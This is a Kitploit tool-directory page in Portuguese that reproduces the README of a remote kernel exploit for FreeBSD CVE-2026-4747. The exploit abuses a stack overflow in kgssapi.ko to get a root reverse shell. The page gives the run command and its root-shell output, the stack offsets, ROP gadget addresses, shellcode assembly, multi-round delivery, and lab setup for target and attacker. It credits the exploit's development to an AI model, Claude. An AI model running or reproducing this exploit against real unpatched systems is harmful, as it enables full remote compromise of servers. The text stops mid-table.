Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-4747- — Exploração remota de kernel para FreeBSD CVE-2026-4747, aproveitando um estouro de buffer na pilha em kgssapi.ko para obter RCE com um shell reverso. Inclui entrega de ROP em múltiplas rodadas e instruções detalhadas de configuração. | Kitploit
Ferramentas/GitHubGitHub/kaleth4/cve-2026-4747-
Frameworks de ExploraçãoAnálise de VulnerabilidadesExploraçãoEngenharia ReversaDesenvolvimento de PayloadsExploração de Binários
GitHubkaleth4/cve-2026-4747-

CVE-2026-4747-

Exploração remota de kernel para FreeBSD CVE-2026-4747, aproveitando um estouro de buffer na pilha em kgssapi.ko para obter RCE com um shell reverso. Inclui entrega de ROP em múltiplas rodadas e instruções detalhadas de configuração.

Ver Repositório
1há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-4747: FreeBSD Remote Kernel RCE

Primeiro exploit de kernel remoto descoberto e explorado por uma IA


📋 Resumo Rápido

AspectoDetalhe
CVECVE-2026-4747
VulnerabilidadeStack buffer overflow em kgssapi.ko (RPCSEC_GSS)
ImpactoRemote Kernel Code Execution → reverse shell uid 0
AfetadosFreeBSD 13.5, 14.3, 14.4, 15.0 (versões sem patch)
Descoberto porNicholas Carlini usando Claude (Anthropic)
Data do Advisory2026-03-26
Tempo de Exploração~8 horas (4 horas de trabalho real de Claude)

🎯 Linha do Tempo

  • 2026-03-26: FreeBSD publica advisory CVE-2026-4747
  • 9:45 AM PDT 2026-03-29: Solicita-se a Claude desenvolver um exploit
  • 5:00 PM PDT 2026-03-29: Claude entrega exploit funcional com reverse shell uid 0

🚀 Demonstração ao Vivo

root@kitploit:~
python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444

Output:

root@kitploit:~
==============================================================
  CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
  Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================

  Target:   127.0.0.1:2049
  Callback: 10.0.2.2:4444
  SPN:      nfs/[email protected]

  Shellcode: 432 bytes (54 qwords)
  Delivery:  15 rounds (1 pmap + 14 write)

  [R1/15]  pmap_change_prot(BSS, 0x2000, RWX) ✓
  [R2/15]  write (4 qwords → 0xffffffff8198a800) ✓
  [R3/15]  write (4 qwords → 0xffffffff8198a820) ✓
  ...
  [R15/15] write + EXECUTE (2 qwords) → JUMP 0xffffffff8198a800 ✓

  [*] Shellcode delivered and executing
  [*] kproc_create → kern_execve('/bin/sh -c ...')
  [*] Reverse shell → 10.0.2.2:4444

  [+] Connection from 127.0.0.1:41320
  [+] Got shell!

sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)

🔍 O Que Claude Fez?

Claude resolveu 6 problemas técnicos distintos para passar de um advisory a um reverse shell funcional:

1️⃣ Configuração do Lab

  • VM FreeBSD 14.4-RELEASE com NFS + Kerberos
  • Requisito crítico: 2+ CPUs (o exploit mata 1 thread NFS por rodada, precisa de 15 rodadas)
  • Debugging remoto para ler kernel crash dumps

2️⃣ Entrega Multi-Pacote

  • Shellcode de 432 bytes não cabe em 1 pacote (limite XDR: 400 bytes)
  • Solução: 15 rodadas de overflow
    • Rodada 1: pmap_change_prot() → BSS executável
    • Rodadas 2-14: Escreve shellcode 32 bytes por rodada
    • Rodada 15: Últimos 16 bytes + salta para shellcode

3️⃣ Saída Limpa de Threads

  • Cada overflow sequestra um thread NFS worker
  • Usa kthread_exit() para terminar limpo (sem kernel panic)
  • Servidor NFS continua vivo para a próxima rodada

4️⃣ Debugging de Offsets (De Bruijn Pattern)

  • Disassembly inicial dizia RIP no byte 168 → INCORRETO
  • Claude enviou padrão De Bruijn cíclico
  • Leu crash dump do kernel → offset real: byte 200
  • Diferença de 32 bytes: header GSS + tratamento de contexto

5️⃣ Transição Kernel → Userland

  • Threads NFS são kernel threads puros (sem vmspace, sem trapframe)
  • Solução em duas fases:
    • Fase 1: kproc_create() → novo processo com infraestrutura user-mode
    • Fase 2: kern_execve("/bin/sh") → carrega ELF, configura trapframe, limpa flag P_KPROC
    • Resultado: /bin/sh executa em ring 3 como uid 0

6️⃣ Mistério dos Debug Registers (DR7/DDB)

  • Worker crashava com trap 1 (debug exception) em instrução válida
  • Causa: kproc_create() herda debug registers do pai
  • Panics anteriores tinham ativado DDB → breakpoints de hardware persistentes
  • Fix: Limpar DR7 antes de kproc_create()

🏗️ Arquitetura Técnica

Stack Layout (Verificado com De Bruijn)

root@kitploit:~
Credential body byte → Stack target
[0..35]              → GSS header (version, proc, seq, svc, handle)
[36..151]            → Padding (rpchdr remainder + local vars)
[152..199]           → Saved registers (RBX, R12, R13, R14, R15, RBP)
[200..207]           → RETURN ADDRESS ← Primeiro gadget ROP
[208..399]           → ROP chain (192 bytes = 24 qwords)

ROP Gadgets (FreeBSD 14.4-RELEASE)

GadgetEndereçoPropósito
pop rdi; retK+0x1adcdaArg 1 (rdi)
pop rsi; retK+0x1cdf98Arg 2 (rsi)
pop rdx; retK+0x5fa429Arg 3 (rdx)
pop rax; retK+0x400cb4Valor para escrever
mov [rdi], rax; ret0xffffffff80e3457cEscrita arbitrária de 8 bytes

Onde K = 0xffffffff80200000 (kernel base, sem KASLR no FreeBSD 14.x)

Shellcode (432 bytes)

Fase 1 - Entry (Thread NFS sequestrado):

root@kitploit:~
mov rax, 0xffffffff8198bf00    ; Pivô de stack para BSS
mov rsp, rax
xor eax, eax
mov dr7, rax                    ; Limpa breakpoints de hardware
call rbx                        ; kproc_create (pré-carregado em RBX)
mov rax, kthread_exit
call rax                        ; Termina thread limpo

Fase 2 - Worker (Novo processo kernel):

root@kitploit:~
; Configura argumentos para kern_execve
lea rdi, [rbp - 0x80]          ; &image_args
mov rsi, "/bin/sh"
mov edx, 1                      ; UIO_SYSSPACE
call exec_args_add_fname

; Adiciona "-c" e comando reverse shell
; ...

; Executa /bin/sh
mov rdi, gs:[0]                 ; curthread
mov rax, [rdi + 0x08]           ; proc
call kern_execve

; Limpa flag P_KPROC
and byte [rax + 0xb8], 0xfb    ; Permite transição para userland
ret                             ; → fork_exit → userret → iretq → ring 3

🛠️ Configuração do Target

Opção A: QEMU (Automatizado com cloud-init)

root@kitploit:~
# Baixa imagem
wget https://download.freebsd.org/releases/VM-IMAGES/14.4-RELEASE/amd64/Latest/\
FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
xz -d FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
qemu-img resize FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2 8G

# Configuração cloud-init
cat > user-data << 'EOF'
#cloud-config
chpasswd:
  list: |
    root:freebsd
  expire: False
runcmd:
  - kldload kgssapi
  - sysrc rpcbind_enable=YES nfs_server_enable=YES
  - service rpcbind start && service nfsd start
EOF

# Boot com port forwarding
qemu-system-x86_64 -enable-kvm -m 2G -smp 2 \
  -drive file=freebsd-vuln.qcow2,format=qcow2,if=virtio \
  -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
  -device virtio-net-pci,netdev=net0 -nographic

Opção B: VMware / VirtualBox / bhyve (Manual)

Requisitos:

  • 2+ CPUs (crítico: 8 threads NFS/CPU, exploit precisa de 15 rodadas)
  • 2GB RAM, 8GB disco
  • FreeBSD 14.4-RELEASE

Setup na VM:

root@kitploit:~
# 1. Instalar Kerberos
pkg install -y krb5

# 2. Criar KDC
cat > /etc/krb5.conf << 'EOF'
[libdefaults]
    default_realm = TEST.LOCAL
[realms]
    TEST.LOCAL = {
        kdc = 127.0.0.1
        admin_server = 127.0.0.1
    }
EOF

# 3. Inicializar banco de dados KDC
/usr/local/sbin/kdb5_util create -s -P masterkey -r TEST.LOCAL

# 4. Criar principals (substitua "test" pelo seu hostname)
/usr/local/sbin/kadmin.local -q "addprinc -pw password [email protected]"
/usr/local/sbin/kadmin.local -q "addprinc -randkey nfs/[email protected]"
/usr/local/sbin/kadmin.local -q "ktadd -k /etc/krb5.keytab nfs/[email protected]"

# 5. Iniciar KDC
/usr/local/sbin/krb5kdc

# 6. Configurar NFS
mkdir -p /export
echo '/export -network 0.0.0.0/0' > /etc/exports

# 7. Habilitar serviços
sysrc rpcbind_enable=YES nfs_server_enable=YES gssd_enable=YES
service rpcbind start && service nfsd start

# 8. Verificar
sysctl vfs.nfsd.threads        # Deve mostrar 16 (com 2 CPUs)
sockstat -l | grep 2049        # Deve mostrar tcp4/tcp6

Setup no Host Atacante (Linux)

root@kitploit:~
# 1. Instalar pacotes
sudo apt install krb5-user libkrb5-dev python3-gssapi
pip install gssapi

# 2. Configurar /etc/krb5.conf
sudo tee /etc/krb5.conf << EOF
[libdefaults]
    default_realm = TEST.LOCAL
    rdns = false                       # CRÍTICO: evita canonicalização DNS
    dns_canonicalize_hostname = false
[realms]
    TEST.LOCAL = {
        kdc = VM_IP:KDC_PORT           # 127.0.0.1:8888 (QEMU) ou 192.168.x.x:88 (bridged)
    }
EOF

# 3. Adicionar hostname ao /etc/hosts
echo "VM_IP test" | sudo tee -a /etc/hosts

# 4. Obter ticket Kerberos
echo "password" | kinit [email protected]
klist

# 5. (Opcional) Instalar ROPgadget para encontrar gadgets novos
pip install ROPgadget

🎪 Estratégia de Exploração

Rodada 1: Tornar BSS Executável

root@kitploit:~
ROP chain:
  pop rdi          → rdi = 0xffffffff8198a000 (BSS page)
  pop rsi          → rsi = 0x2000 (2 páginas = 8KB)
  pop rdx          → rdx = 7 (VM_PROT_ALL = RWX)
  pmap_change_prot → muda permissões para RWX
  pop rdi          → rdi = 0
  kthread_exit     → termina thread limpo

Rodadas 2–14: Escrever Shellcode

Cada rodada escreve 32 bytes (4 qwords) em BSS:

root@kitploit:~
ROP chain template:
  pop rdi          → rdi = BSS_SC + offset
  pop rax          → rax = shellcode_qword
  mov [rdi], rax   → escreve 8 bytes
  (repetir mais 3 vezes)
  pop rdi          → 0
  kthread_exit     → termina

Custo: 40 bytes ROP/8 bytes escrita → 15 rodadas totais

Rodada 15: Saltar para Shellcode

root@kitploit:~
ROP chain:
  pop rdi          → rdi = BSS_SC + 416
  pop rax          → rax = último qword
  mov [rdi], rax   → escreve
  (repetir)
  BSS_SC           → ¡SALTA PARA SHELLCODE!

🐛 Desafios Resolvidos

ProblemaCausaSolução
Offset RIP incorretoDisassembly estático não contava header GSSPadrão De Bruijn + leitura crash dump
Incompatibilidade MIT/HeimdalCanonicalização DNS hostnamerdns = false + dns_canonicalize_hostname = false
Trap 1 no workerDebug registers herdados de DDBLimpar DR7 antes de kproc_create()
Shellcode não cabe432 bytes > 400 bytes (limite XDR)Entrega em
Baixar ferramenta